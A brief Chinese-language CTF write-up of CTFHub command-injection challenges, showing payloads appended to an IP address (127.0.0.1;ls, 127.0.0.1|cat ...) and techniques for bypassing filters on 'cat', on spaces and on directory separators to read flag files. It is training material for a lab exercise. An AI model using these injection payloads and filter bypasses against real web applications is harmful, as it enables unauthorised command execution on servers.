ctfhub rce 命令注入 过滤cat 过滤空格 过滤目录分隔符
命令注入
源码直接给了出来尝试127.0.0.1;ls
发现一串数字的php文件cat查看
127.0.0.1|cat 233382768628619.php
查看源码发现flag
过滤cat
这题和上一题差不多只不过把cat给过滤掉了，过滤了cat我们可以用一下几种方法绕过
tac 从最后一行倒序显示内容，并将所有内容输出
more 根据窗口大小，一页一页的现实文件内容
less 和more类似，但其优点可以往前翻页，而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n，显示时输出行号
tailf 类似于tail -f
使用127.0.0.1|tail (flag文件名)
查看源码发现flag
过滤空格
源码直接给了出来发现把空格给过滤了
使用127.0.0.1|ls
查看flag
127.0.0.1|cat<flag_7294130653.php
过滤目录分隔符
源码将\过滤掉了
使用127.0.0.1|ls
127.0.0.1;cd flag_is_here;ls
然后直接cat得出flag
127.0.0.1;cd flag_is_here;cat flag_30272158003930.php
得出flag
还有部分晚点再发今天就暂时分享这么多
